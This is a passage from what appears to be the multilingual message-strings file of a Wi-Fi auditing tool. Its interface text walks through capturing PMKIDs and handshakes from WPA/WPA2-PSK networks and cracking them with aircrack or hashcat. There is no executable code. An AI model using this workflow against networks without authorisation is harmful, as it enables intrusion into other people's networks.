PMKID yakala" arr["ARABIC",663]="5. PMKID التقاط" arr["CHINESE",663]="5. 捕获 PMKID" arr["ENGLISH",664]="It is possible to obtain PMKIDs from clientless WPA/WPA2-PSK networks" arr["SPANISH",664]="Es posible obtener PMKIDs de redes WPA/WPA2-PSK sin clientes" arr["FRENCH",664]="Il est possible d'obtenir PMKIDs du WPA/WPA2-PSK réseaux sans clients" arr["CATALAN",664]="És possible obtenir PMKIDs de xarxes WPA/WPA2-PSK sense clients" arr["PORTUGUESE",664]="É possível obter PMKIDs de redes WPA/WPA2-PSK sem clientes" arr["RUSSIAN",664]="Можно получить PMKID от WPA/WPA2-PSK сети без клиентов" arr["GREEK",664]="Είναι δυνατόν να ληφθούν PMKIDs από clientless δίκτυα WPA/WPA2-PSK" arr["ITALIAN",664]="È possibile ottenere PMKIDs da reti WPA/WPA2-PSK senza clienti" arr["POLISH",664]="Jest możliwe uzyskanie PMKIDs z sieci WPA/WPA2-PSK bez podłączonych klientów" arr["GERMAN",664]="Es ist möglich, PMKIDs von Clientless WPA/WPA2-PSK Netzwerken zu erhalten" arr["TURKISH",664]="Clientless WPA/WPA2-PSK ağlarından PMKIDs elde etmek mümkündür" arr["ARABIC",664]="بدون عميل WPA/WPA2-PSK من شبكات PMKIDs من المفعل الحصول على" arr["CHINESE",664]="可以从采用 WPA/WPA2-PSK 加密的无线网络获取 PMKID" arr["ENGLISH",665]="In WPA/WPA2-PSK networks you can crack either PMKIDs or Handshakes to obtain the network passphrase" arr["SPANISH",665]="En las redes WPA/WPA2-PSK, pueden crackearse ya sean PMKIDs o Handshakes para obtener la contraseña de red" arr["FRENCH",665]="Dans les réseaux WPA/WPA2-PSK vous pouvez cracker du PMKIDs ou Handshakes pour obtenir le mot de passe du réseau" arr["CATALAN",665]="A les xarxes WPA/WPA2-PSK, pot esquerdar ja sigui PMKIDs o Handshakes per obtenir la contrasenya de xarxa" arr["PORTUGUESE",665]="Nas redes WPA/WPA2-PSK, é possível obter a senha de Handshakes ou PMKIDs" arr["RUSSIAN",665]="Для получения пароля, в WPA/WPA2-PSK сети вы можете взломать либо PMKID или рукопожатия" arr["GREEK",665]="Σε δίκτυα WPA/WPA2-PSK μπορείτε να κάνετε crack είτε PMKIDs είτε Handshakes για την απόκτηση passphrase του δικτύου" arr["ITALIAN",665]="Nelle reti WPA/WPA2-PSK, si possono craccare sia PMKIDs che Handshakes per ottenere la password della rete" arr["POLISH",665]="Aby uzyskać hasło sieciowe w sieciach WPA/WPA2-PSK można złamać PMKIDs lub Handshake" arr["GERMAN",665]="In WPA/WPA2-PSK Netzwerken können Sie entweder PMKIDs oder Handshakes knacken um das Netzwerk Passwort zu erhalten" arr["TURKISH",665]="WPA/WPA2-PSK ağlarda ağ parolasını elde etmek ya PMKIDs veya Handshake kırılabilir" arr["ARABIC",665]="للحصول على عبارة مرور الشبكة Handshakes أو PMKIDs يمكنك كسر ،WPA/WPA2-PSK في شبكات" arr["CHINESE",665]="在 WPA/WPA2-PSK 网络中,您可以破解 PMKID 或抓取Handshakes (握手包) 来获得无线网络的密码" arr["ENGLISH",666]="After capturing a Handshake or a PMKID, you can try to decrypt it on the offline WPA/WPA2 decrypt menu selecting \"Personal\" submenu" arr["SPANISH",666]="Si capturas un Handshake o un PMKID, puedes intentar descifrarlo en el menú de descifrado WPA/WPA2 offline eligiendo el submenú de tipo \"Personal\"" arr["FRENCH",666]="Si vous capturez une Handshake ou un PMKID, vous pouvez essayer du déchiffrer sur le menu décryptage WPA/WPA2 en choisissant le sous-menu de type \"Personnel\"" arr["CATALAN",666]="Si captures un Handshake o PMKID, pots intentar desxifrar al menú de desxifrat WPA/WPA2 offline triant el submenú de tipus \"Personal\"" arr["PORTUGUESE",666]="Depois de capturar um Handshake ou um PMKID, você pode tentar descriptografá-lo no menu de descriptografia WPA/WPA2 offline, selecionando o submenu \"Personal\"" arr["RUSSIAN",666]="Если захвата рукопожатия или PMKID, вы можете попытаться расшифровать их в меню автономной расшифровки WPA/WPA2, выбрав в подменю тип \"Personal\"" arr["GREEK",666]="Αν έχετε συλλάβει ένα Handshake ή ένα PMKID, μπορείτε να προσπαθήσετε να το αποκρυπτογραφήσετε στο offline WPA/WPA2 μενού αποκρυπτογράφησης επιλέγοντας το υπομενού \"Personal\"" arr["ITALIAN",666]="Se catturi un handshake o un PMKID, puoi provare a decifrarlo nel menu di decifratura WPA/WPA2 offline scegliendo il sottomenú di tipo \"Personal\"" arr["POLISH",666]="Po przechwyceniu Handshake lub PMKID, można spróbować je złamać w menu deszyfrowania WPA/WPA2 w trybie offline, wybierając podmenu typu \"Osobiste\"" arr["GERMAN",666]="Nachdem der Handshake oder ein PMKID aufgenommen worden ist, können Sie versuchen, ihn offline zu entschlüsseln WPA/WPA2 durch Untermenü \"Persönlich\"" arr["TURKISH",666]="Bir Handshake veya PMKID yakaladıktan sonra, onu kırmak için offline WPA/WPA2 deşifre menüsünün altında \"Kisisel\" seçin" arr["ARABIC",666]="\"Personal\" دون اتصال ، باختيارالقائمة الفرعية WPA/WPA2 يمكنك محاولة فك تشفيرها في قائمة فك تشفير ،PMKID أو Handshake بعد التقاط" arr["CHINESE",666]="捕获握手包或 PMKID 后,您可以尝试在离线 WPA/WPA2 捕获文件暴力破解菜单上选择“个人级加密 (Personal) ”子菜单对其进行解密" arr["ENGLISH",667]="It has been detected that you have installed an old aircrack version. No problem if you plan to crack a Handshake, but bear in mind that to crack PMKID is needed \${aircrack_pmkid_version} as a minimum version of aircrack. Otherwise PMKID will not be detected" arr["SPANISH",667]="Se ha detectado una versión antigua de aircrack. No hay problema si planeas descifrar un Handshake, pero hay que tener en cuenta para descifrar PMKID se requiere como mínimo la versión \${aircrack_pmkid_version} de aircrack. De lo contrario el PMKID no será detectado" arr["FRENCH",667]="Une ancienne version de aircrack a été détectée. Pas de problème si vous prévoyez de décrypter une Handshake, mais si vous voulez décrypter un PMKID, au moins la version \${aircrack_pmkid_version} de aircrack est nécessaire. Sinon, le PMKID ne sera pas détecté" arr["CATALAN",667]="S'ha detectat una versió antiga d'aircrack. Cap problema si planeges desxifrar un Handshake, però cal tenir en compte que per desxifrar PMKID es requereix com a mínim la versió \${aircrack_pmkid_version} de aircrack. En cas contrari el PMKID no serà detectat" arr["PORTUGUESE",667]="Uma versão antiga do aircrack foi detectada. Não há problema se você planeja descriptografar um Handshake, mas é necessário levar em consideração para descriptografar um PMKID, é necessário pelo menos a versão \${aircrack_pmkid_version} do aircrack. Caso contrário o PMKID não será detectado" arr["RUSSIAN",667]="Было обнаружено, что вы установили старую версию Aircrack. Нет проблем, если вы планируете взломать Рукопожатие, но имейте в виду, что для взлома PMKID требуется как минимум версия \${aircrack_pmkid_version}. В противном случае PMKID не будет распознано" arr["GREEK",667]="Έχει εντοπιστεί ότι έχετε εγκαταστήσει μια παλιά έκδοση aircrack. Δεν υπάρχει πρόβλημα αν σκοπεύετε να κάνετε crack ένα Handshake, αλλά έχετε κατά νου ότι για να κάνετε crack το PMKID χρειάζεται \${aircrack_pmkid_version} ως ελάχιστη έκδοση. Διαφορετικά το PMKID δεν θα ανιχνεύθει" arr["ITALIAN",667]="È stata rilevata una vecchia versione di aircrack. Nessun problema se prevedi di craccare un Handshake, ma considera che per craccare PMKID, è richiesta almeno la versione \${aircrack_pmkid_version} di aircrack. Altrimenti il PMKID non verrà rilevato" arr["POLISH",667]="Wykryto zainstalowaną starą wersję aircrack. Nie ma problemu, jeśli masz zamiar złamać Handshake, ale należy pamiętać, że do złamania PMKID jest potrzebna minimamlnie wersja \${aircrack_pmkid_version}. W przeciwnym wypadku nie zostanie wykryte PMKID" arr["GERMAN",667]="Es wurde festgestellt, dass Sie eine alte aircrack Version installiert haben. Kein Problem, wenn Sie planen, einen Handshake zu knacken, aber bedenken Sie, dass PMKID zu knacken ist \${aircrack_pmkid_version} als Mindestversion benötigt. Sonst wird PMKID nicht erkannt werden" arr["TURKISH",667]="Eski bir aircrack sürümünün yüklü olduğunu tespit edildi. Handshake kırmak istiyorsanız bu bir problem değil. PMKID kırmayı planlıyorsanız \${aircrack_pmkid_version} gereklidir. Aksi takdirde PMKID algılanmaz" arr["ARABIC",667]="PMKID وإلا فلن يتم الكشف عن aircrack كإصدار أدنى من \${aircrack_pmkid_version} مطلوب PMKID ولكن ضع في اعتبارك أن لكسر ،Handshake لا توجد مشكلة إذا كنت تخطط لاختراق .aircrack تم اكتشاف أنك قمت بتثبيت نسخة قديمة من" arr["CHINESE",667]="检测到您安装的是旧的 aircrack 版本。如果你仅打算破解 Handshake 没问题,但请记住破解 PMKID 需要 \${aircrack_pmkid_version} 作为 aircrack 的最低版本。否则将检测不到 PMKID" arr["ENGLISH",668]="Handshake/s detected in capture file" arr["SPANISH",668]="Se han detectado Handshake/s en el fichero de captura" arr["FRENCH",668]="Handshake/s détecté/s dans le fichier de capture" arr["CATALAN",668]="S'han detectat Handshake/s en el fitxer de captura" arr["PORTUGUESE",668]="Handshake(s) detetado(s) no arquivo de captura" arr["RUSSIAN",668]="Обнаружен 1 или более Handshake в файле захвата" arr["GREEK",668]="Εντοπίστηκαν Handshake/s στο αρχείο capture" arr["ITALIAN",668]="Handshake/s rilevato/i nel file di cattura" arr["POLISH",668]="Wykryto Handshake/s w pliku przechwytywania" arr["GERMAN",668]="Handshake/s in der Capture-Datei erkannt" arr["TURKISH",668]="Handshake/s capture dosyasında tespit edildi" arr["ARABIC",668]="Handshake/s تم اكتشاف في ملف الالتقاط" arr["CHINESE",668]="在捕获文件中检测到 Handshake/s" arr["ENGLISH",669]="PMKID/s detected in capture file" arr["SPANISH",669]="Se han detectado PMKID/s en el fichero de captura" arr["FRENCH",669]="PMKID/s détecté/s dans le fichier de capture" arr["CATALAN",669]="S'han detectat PMKID/s en el fitxer de captura" arr["PORTUGUESE",669]="PMKID(s) detetado(s) no arquivo de captura" arr["RUSSIAN",669]="Обнаружен 1 или более PMKID в файле захвата" arr["GREEK",669]="Εντοπίστηκαν PMKID/s στο αρχείο capture" arr["ITALIAN",669]="PMKID/s rilevato/i nel file di cattura" arr["POLISH",669]="Wykryto PMKID/s w pliku przechwytywania" arr["GERMAN",669]="PMKID/s in der Capture-Datei erkannt" arr["TURKISH",669]="PMKID/s capture dosyasında tespit edildi" arr["ARABIC",669]="PMKID/s تم اكتشاف في ملف الالتقاط" arr["CHINESE",669]="在捕获文件中检测到 PMKID/s" arr["ENGLISH",670]="Handshake/s and also PMKID/s detected in capture file" arr["SPANISH",670]="Se han detectado Handshake/s y también PMKID/s en el fichero de captura" arr["FRENCH",670]="Handshake/s et PMKID/s détecté/s dans le fichier de capture" arr["CATALAN",670]="S'han detectat Handshake/s i també PMKID/s en el fitxer de captura" arr["PORTUGUESE",670]="Handshake(s) e PMKID(s) detectados no arquivo de captura" arr["RUSSIAN",670]="Обнаружены Handshake и PMKID в файле захвата" arr["GREEK",670]="Εντοπίστηκαν Handshake/s και επίσης PMKID/s στο αρχείο capture" arr["ITALIAN",670]="Sono stati rilevati Handshake/s e anche PMKID/s nel file di cattura" arr["POLISH",670]="Wykryto Handshake oraz PMKID/s w pliku przechwytywania" arr["GERMAN",670]="Handshake/s und auch PMKID/s in der Capture-Datei erkannt" arr["TURKISH",670]="Handshake/s ve ayrıca PMKID/s capture dosyasında tespit edildi" arr["ARABIC",670]="Handshake/s وأيضاً PMKID/s تم اكتشاف في ملف الالتقاط" arr["CHINESE",670]="在捕获文件中检测到 Handshake/s 以及 PMKID/s" arr["ENGLISH",671]="Don't close the window manually, script will do when needed. In about \${timeout} seconds maximum you'll know if you've got the PMKID" arr["SPANISH",671]="No cierres manualmente la ventana, el script lo hará cuando proceda. En unos \${timeout} segundos como máximo sabrás si conseguiste el PMKID" arr["FRENCH",671]="Ne pas fermer le fenêtre manuellement: Le script le fera automatiquement. Vos saurez dans \${timeout} secondes au plus si avez obtenu le PMKID" arr["CATALAN",671]="No tanquis manualment la finestra, el script ho farà quan escaigui. En uns \${timeout} segons com a màxim sabràs si vas aconseguir el PMKID" arr["PORTUGUESE",671]="Não feche a janela manualmente, o script fechará quando necessário. Em cerca de \${timeout} segundos no máximo você vai saber se tem o PMKID" arr["RUSSIAN",671]="Не закрывайте окно вручную, скрипт сделает это когда нужно. Примерно в максимум \${timeout} секунд вы узнаете, получили ли вы PMKID" arr["GREEK",671]="Μην κλείνετε χειροκίνητα το παράθυρο, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου \${timeout} δευτερόλεπτα το πολύ θα μάθετε αν αποκτήσατε το PMKID" arr["ITALIAN",671]="Non chiudere la finestra manualmente, lo script lo fará quando è necessario. In \${timeout} secondi al massimo scoprirai se hai catturato il PMKID" arr["POLISH",671]="Nie zamykaj okna ręcznie, skrypt zrobi to w razie potrzeby. W ciągu co najwyżej \${timeout} sekund dowiesz się, czy masz PMKID" arr["GERMAN",671]="Schließen Sie das Fenster nicht manuell, das Skript wird dies bei Bedarf tun. In ungefähr \${timeout} Sekunden werden Sie wissen, ob Sie den PMKID bekommen haben" arr["TURKISH",671]="Pencereyi manuel olarak kapatmayın, yazılım gerektiğinde yapacaktır. Yaklaşık \${timeout} saniye içinde, PMKID'e sahip olup olmadığınızı bileceksiniz" arr["ARABIC",671]="PMKID ثانية كحد أقصى ستعرف ما إذا كان لديك \${timeout} لا تغلق النافذة يدويًا ، فسيقوم البرنامج بذلك عند الحاجة. في حوالي" arr["CHINESE",671]="请不要手动关闭窗口,脚本会在需要时执行。最多在大约 \${timeout} 秒内,您就会知道您是否获得了 PMKID" arr["ENGLISH",672]="It seems we failed... try it again, choose another target or increase the timeout. Maybe the access point is not vulnerable" arr["SPANISH",672]="Parece que no lo hemos conseguido... inténtalo de nuevo, elige otro objetivo o incrementa el timeout. Puede ser que el punto de acceso no sea vulnerable" arr["FRENCH",672]="Il semble que on a échoué... réessayez, choisissez un autre objectif ou augmentez le timeout. Le point d'accès n'est peut-être pas vulnérable" arr["CATALAN",672]="Sembla que no ho hem aconseguit... intenta-ho de nou, tria un altre objectiu o incrementa el timeout. Pot ser que el punt d'accés no sigui vulnerable" arr["PORTUGUESE",672]="Parece que nos falhamos... tente novamente, escolha outro alvo ou aumente o timeout. O ponto de acesso pode não ser vulnerável" arr["RUSSIAN",672]="Кажется мы потерпели неудачу... попробуйте еще раз, выберите другую цель или увеличьте время ожидания. Также может быть, что точка доступа не уязвима" arr["GREEK",672]="Φαίνεται πως αποτύχαμε... δοκιμάστε ξανά, επιλέξτε άλλο στόχο ή αυξήστε το timeout. Ίσως το σημείο πρόσβασης να μην είναι ευάλωτο" arr["ITALIAN",672]="Sembra che abbiamo fallito... riprova, scegli un altro obiettivo o aumenta il timeout. Il punto di accesso potrebbe non essere vulnerabile" arr["POLISH",672]="Wygląda na to, że się nie udało... spróbuj ponownie, wybierz inny cel lub zwiększ timeout. Byćmoże punkt dostępu nie jest podatny" arr["GERMAN",672]="Anscheinend haben wir es nicht geschafft... Versuchen Sie es erneut, wählen Sie ein anderes Ziel oder erhöhen Sie das Timeout. Der Zugangspunkt ist möglicherweise nicht anfällig" arr["TURKISH",672]="Başarısız görünüyoruz... Tekrar deneyin, başka bir hedef seçin veya zaman aşımını artırın. Erişim noktası savunmasız olmayabilir" arr["ARABIC",672]="يبدو أننا فشلنا... حاول مرة أخرى ، اختر هدفًا آخر أو قم بزيادة المهلة. ربما لا تكون نقطة الوصول عرضة للخطر" arr["CHINESE",672]="看来我们失败了……再试一次,选择另一个目标或延长等待时间。也许接入点不易受攻击" arr["ENGLISH",673]="PMKID file generated successfully at [\${normal_color}\${enteredpath}\${blue_color}]" arr["SPANISH",673]="Fichero PMKID generado con éxito en [\${normal_color}\${enteredpath}\${blue_color}]" arr["FRENCH",673]="Le Fichier PMKID a été généré avec succès dans [\${normal_color}\${enteredpath}\${blue_color}]" arr["CATALAN",673]="Fitxer PMKID generat amb èxit a [\${normal_color}\${enteredpath}\${blue_color}]" arr["PORTUGUESE",673]="Arquivo PMKID gerado com sucesso [\${normal_color}\${enteredpath}\${blue_color}]" arr["RUSSIAN",673]="Файл PMKID успешно создан в [\${normal_color}\${enteredpath}\${blue_color}]" arr["GREEK",673]="Το αρχείο PMKID δημιουργήθηκε επιτυχώς στο [\${normal_color}\${enteredpath}\${blue_color}]" arr["ITALIAN",673]="File PMKID generato con successo in [\${normal_color}\${enteredpath}\${blue_color}]" arr["POLISH",673]="Plik PMKID został pomyślnie wygenerowany w [\${normal_color}\${enteredpath}\${blue_color}]" arr["GERMAN",673]="PMKID-Datei erfolgreich in [\${normal_color}\${enteredpath}\${blue_color}] erstellt" arr["TURKISH",673]="PMKID dosyası şu hedefte başarıyla oluşturuldu [\${normal_color}\${enteredpath}\${blue_color}]" arr["ARABIC",673]="[\${normal_color}\${enteredpath}\${blue_color}] بنجاح في PMKID تم إنشاء ملف" arr["CHINESE",673]="在 [\${normal_color}\${enteredpath}\${blue_color}] 成功生成 PMKID 文件" arr["ENGLISH",674]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${pmkidpath}]" arr["SPANISH",674]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${pmkidpath}]" arr["FRENCH",674]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour prendre le chemin proposé par défaut \${normal_color}[\${pmkidpath}]" arr["CATALAN",674]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${pmkidpath}]" arr["PORTUGUESE",674]="Digite o caminho para salvar o arquivo ou pressione [Enter] para o caminho padrão \${normal_color}[\${pmkidpath}]" arr["RUSSIAN",674]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${pmkidpath}]" arr["GREEK",674]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${pmkidpath}]" arr["ITALIAN",674]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${pmkidpath}]" arr["POLISH",674]="Wpisz ścieżkę do zapisywania plików lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${pmkidpath}]" arr["GERMAN",674]="Schreiben Sie den Pfad, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${pmkidpath}] \${green_color}zu benutzen" arr["TURKISH",674]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${pmkidpath}]" arr["ARABIC",674]="\${normal_color}[\${pmkidpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على" arr["CHINESE",674]="请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${pmkidpath}]" arr["ENGLISH",675]="The selected file has a valid hashcat hash format on its first line" arr["SPANISH",675]="El fichero seleccionado tiene un formato de hashcat válido en su primera línea" arr["FRENCH",675]="Le fichier sélectionné a un format de hashcat valide sur sa première ligne" arr["CATALAN",675]="El fitxer seleccionat té un format de hashcat vàlid a la seva primera línia" arr["PORTUGUESE",675]="O arquivo selecionado tem um formato válido do hashcat na primeira linha" arr["RUSSIAN",675]="В выбранном файле на первой строке обнаружен хеш в допустимом для Hashcat формате" arr["GREEK",675]="Το επιλεγμένο αρχείο έχει έγκυρη μορφή hashcat hash στην πρώτη του γραμμή" arr["ITALIAN",675]="Il file selezionato ha un formato hashcat valido nella sua prima riga" arr["POLISH",675]="Wybrany plik ma prawidłowy format hashcat w pierwszej linii" arr["GERMAN",675]="Die ausgewählte Datei hat ein gültiges hashcat-Format in der ersten Zeile" arr["TURKISH",675]="Seçilen dosyanın ilk satırında geçerli bir hashcat biçimi var" arr["ARABIC",675]="\${normal_color}في السطر الأول hashcat يحتوي الملف المحدد على تنسيق تجزئة صالح لـ" arr["CHINESE",675]="选定的文件在第一行中具有有效的 hashcat" arr["ENGLISH",676]="The selected file has an invalid hashcat hash format on its first line" arr["SPANISH",676]="El fichero seleccionado tiene un formato de hashcat no válido en su primera línea" arr["FRENCH",676]="Le fichier sélectionné a un format de hashcat non valide sur sa première ligne" arr["CATALAN",676]="El fitxer seleccionat té un format de hashcat no vàlid a la seva primera línia" arr["PORTUGUESE",676]="O arquivo selecionado tem um formato inválido do hashcat na primeira linha" arr["RUSSIAN",676]="В выбранном файле на первой строке обнаружен хеш в недопустимом для Hashcat формате" arr["GREEK",676]="Το επιλεγμένο αρχείο έχει μη έγκυρη μορφή hashcat hash στην πρώτη του γραμμή" arr["ITALIAN",676]="Il file selezionato ha un formato hashcat non valido nella sua prima riga" arr["POLISH",676]="Wybrany plik ma nieprawidłowy format hashcat w pierwszej linii" arr["GERMAN",676]="Die ausgewählte Datei hat ein ungültiges hashcat-Format in der ersten Zeile" arr["TURKISH",676]="Seçilen dosyanın ilk satırında geçersiz bir hashcat biçimi var" arr["ARABIC",676]="\${normal_color}في السطر الأول hashcat يحتوي الملف المحدد على تنسيق تجزئة غير صالح لـ" arr["CHINESE",676]="选定的文件在第一行中具有无效的 hashcat" arr["ENGLISH",677]="You already have selected a capture file during this session [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["SPANISH",677]="Ya tienes seleccionado un fichero de captura en esta sesión [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["FRENCH",677]="Vous avez déjà sélectionné un fichier de capture pour cette session \${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["CATALAN",677]="Ja tens seleccionat un fitxer de captura en aquesta sessió [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["PORTUGUESE",677]="Você selecionou um arquivo de captura nesta sessão [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["RUSSIAN",677]="Вы уже выбрали файл захвата во время этой сессии [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["GREEK",677]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["ITALIAN",677]="È stato selezionato un file di cattura in questa sessione [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["POLISH",677]="W tej sesji wybrano już plik przechwytywania [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["GERMAN",677]="Sie haben bereits eine Capture-Datei in dieser Sitzung ausgewählt [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["TURKISH",677]="Bu oturumda zaten bir yakalama dosyası seçtiniz [\${normal_color} \${hashcatpmkidenteredpath}\${blue_color}]" arr["ARABIC",677]="[\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}] لقد قمت بالفعل بتحديد ملف الالتقاط أثناء هذه الجلسة" arr["CHINESE",677]="您已经在此会话期间选择了一个捕获文件 [\${normal_color}\${hashcatpmkidenteredpath}\${blue_color}]" arr["ENGLISH",678]="You have hashcat installed (v\${hashcat_version}). You meet the version requirement to perform PMKID hashcat attack (minimum version v\${minimum_hashcat_pmkid_version}). Script can continue..." arr["SPANISH",678]="Tienes hashcat instalado (v\${hashcat_version}). Cumples con el requisito de versión para realizar el ataque PMKID con hashcat (versión minima v\${minimum_hashcat_pmkid_version}). El script puede continuar..." arr["FRENCH",678]="Hashcat est installé (v\${hashcat_version}). Cette version est compatible avec l'attaque PMKID (version minimale: \${minimum_hashcat_pmkid_version}). Le script peut continuer..." arr["CATALAN",678]="Tens hashcat instal·lat (v\${hashcat_version}). Compleixes amb el requisit de versió per a realitzar l'atac PMKID integrat amb hashcat (versió mínima v\${minimum_hashcat_pmkid_version}). El script pot continuar..." arr["PORTUGUESE",678]="Você tem o hashcat instalado (v\${hashcat_version}). Você cumpre a exigência de versão para o ataque PMKID com hashcat (versão mínima v\${minimum_hashcat_pmkid_version}). O script pode continuar..." arr["RUSSIAN",678]="У вас установлен hashcat (v\${hashcat_version}). Версия удовлетворяет требованиям для выполнения интегрированной в hashcat атаки PMKID (минимальная версия v\${minimum_hashcat_pmkid_version}). Скрипт может продолжить работу..." arr["GREEK",678]="Έχετε εγκατεστημένο το hashcat (v\${hashcat_version}). Έχετε την απαιτούμενη έκδοση για να εκτελέσετε επίθεση PMKID hashcat (ελάχιστη έκδοση v\${minimum_hashcat_pmkid_version}). Το script μπορεί να συνεχίσει..." arr["ITALIAN",678]="È stato installato hashcat (v\${hashcat_version}). Soddisfi il requisito della versione per realizzare l'attacco PMKID con hashcat (versione minima v\${minimum_hashcat_pmkid_version}). Lo script può continuare..." arr["POLISH",678]="Masz zainstalowany hashcat (v\${hashcat_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak PMKID (wersja minimalna v\${minimum_hashcat_pmkid_version}). Skrypt może kontynuować..." arr["GERMAN",678]="Hashcat ist installiert (v\${hashcat_version}). Sie erfüllen die Versionsvoraussetzung, um den PMKID-Angriff auszuführen, der mit Hashcat integriert ist (min Version v\${minimum_hashcat_pmkid_version}). Das Skript kann fortfahren..." arr["TURKISH",678]="Hashcat sisteminizde kurulu (v\${hashcat_version}). PMKID hashcat saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v\${minimum_hashcat_pmkid_version}). Script devam edebilir..." arr["ARABIC",678]="...البرنامج يمكن أن يستمر .v\${minimum_hashcat_pmkid_version}) أنت تفي بمتطلبات الإصدار لتنفيذ هجوم التجزئة .(v\${hashcat_version}) لقد قمت بتثبيت" arr["CHINESE",678]="您已经安装了 hashcat (v\${hashcat_version})。您满足针对 PMKID 捕获文件攻击的版本要求 (最低版本 v\${minimum_hashcat_pmkid_version}) 。脚本可以继续..." arr["ENGLISH",679]="You have hashcat installed (v\${hashcat_version}), but not required version. To perform PMKID hashcat attack you must have at least version v\${minimum_hashcat_pmkid_version}" arr["SPANISH",679]="Tienes hashcat instalado (v\${hashcat_version}), aunque no la versión requerida. Para realizar el ataque PMKID con hashcat has de tener al menos la versión v\${minimum_hashcat_pmkid_version}" arr["FRENCH",679]="Hashcat est installé (v\${hashcat_version}) mais cette version n'est pas compatible avec l'attaque PMKID. Version minimale requise: v\${minimum_hashcat_pmkid_version}" arr["CATALAN",679]="Tens hashcat instal·lat (v\${hashcat_version}), encara que no és la versió requerida. Per realitzar l'atac PMKID amb hashcat has de tenir al menys la versió v\${minimum_hashcat_pmkid_version}" arr["PORTUGUESE",679]="Você tem o hashcat instalado (v\${hashcat_version}), mas não a versão necessária. Para fazer o ataque PMKID com hashcat você precisa ter pelo menos a versão v\${minimum_hashcat_pmkid_version}" arr["RUSSIAN",679]="У вас установлен hashcat (v\${hashcat_version}), это не та версия, которая требуется. Для выполнения интегрированной в hashcat атаки PMKID у вас должна быть по крайней мере v\${minimum_hashcat_pmkid_version}" arr["GREEK",679]="Έχετε εγκατεστημένο το hashcat (v\${hashcat_version}), αλλά όχι την απαιτούμενη έκδοση. Για να εκτελέσετε την επίθεση PMKID hashcat θα πρέπει να έχετε τουλάχιστον την έκδοση v\${minimum_hashcat_pmkid_version}" arr["ITALIAN",679]="È stato installato hashcat (v\${hashcat_version}), ma non la versione richiesta. Per realizzare l'attacco PMKID con hashcat devi avere almeno la versione v\${minimum_hashcat_pmkid_version}" arr["POLISH",679]="Masz zainstalowany hashcat (v\${hashcat_version}), ale nie wymaganą wersję. Aby zrealizować atak PMKID zintegrowany z programem hashcat musisz mieć co najmniej wersję v\${minimum_hashcat_pmkid_version}" arr["GERMAN",679]="Hashcat (v\${hashcat_version}) ist installiert, jedoch nicht die erforderliche Version. Um den PMKID-Angriff mit Hashcat zu integrieren, müssen Sie mindestens die Version v\${minimum_hashcat_pmkid_version} haben" arr["TURKISH",679]="Hashcat sisteminizde kurulu (v\${hashcat_version}), ancak sürüm uygun değil. PMKID hashcat saldırısını gerçekleştirmek için minimum sürüm olan \${minimum_hashcat_pmkid_version} yüklenmeli" arr["ARABIC",679]="v\${minimum_hashcat_pmkid_version}يجب أن يكون لديك على الأقل الإصدار ،PMKID لكن ليس الإصدار المطلوب. لتنفيذ هجوم تجزئة ،(v\${hashcat_version}) لقد قمت بتثبيت" arr["CHINESE",679]="您已安装 hashcat (v\${hashcat_version}),但不是脚本所需的版本。要执行 PMKID hashcat 攻击,您必须至少具有版本 v\${minimum_hashcat_pmkid_version}" arr["ENGLISH",680]="Although you were trying to capture a Handshake, it has been verified that a PMKID was successfully captured from the target network which is also valid" arr["SPANISH",680]="Aunque estabas intentando capturar un Handshake, se ha comprobado que se capturado con éxito un PMKID de la red elegida como objetivo que también es válido" arr["FRENCH",680]="Bien que vous essayiez de capturer une Handshake, il a été vérifié qu'un PMKID a été capturé avec succès à partir du réseau cible qui est également valide" arr["CATALAN",680]="Encara que estaves intentant capturar un Handshake, s'ha comprovat que es capturat amb èxit un PMKID de la xarxa triada com a objectiu que també és vàlid" arr["PORTUGUESE",680]="Embora você esteja tentando capturar um Handshake, você já possui um PMKID da rede capturado, o que também é válido" arr["RUSSIAN",680]="Хотя вы пытались захватить Handshake, был успешно получен PMKID целевой сети, что также позволяет взломать пароль" arr["GREEK",680]="Παρόλο που προσπαθούσατε να καταγράψετε κάποιο Handshake, επιβεβαιώθηκε πως ένα έγκυρο PMKID καταγράφηκε επιτυχώς από το δίκτυο-στόχος" arr["ITALIAN",680]="Anche se stavi cercando di catturare un Handshake, è stato verificato che è stato catturato con successo un PMKID della rete scelta che è valido" arr["POLISH",680]="Pomimo, że próbujesz przechwycić Handshake, PMKID sieci docelowej który również sie nadaje został pomyślnie przechwycony" arr["GERMAN",680]="Obwohl Sie versucht haben, einen Handshake zu erfassen, haben wir ein PMKID erfasst, was auch gültig ist" 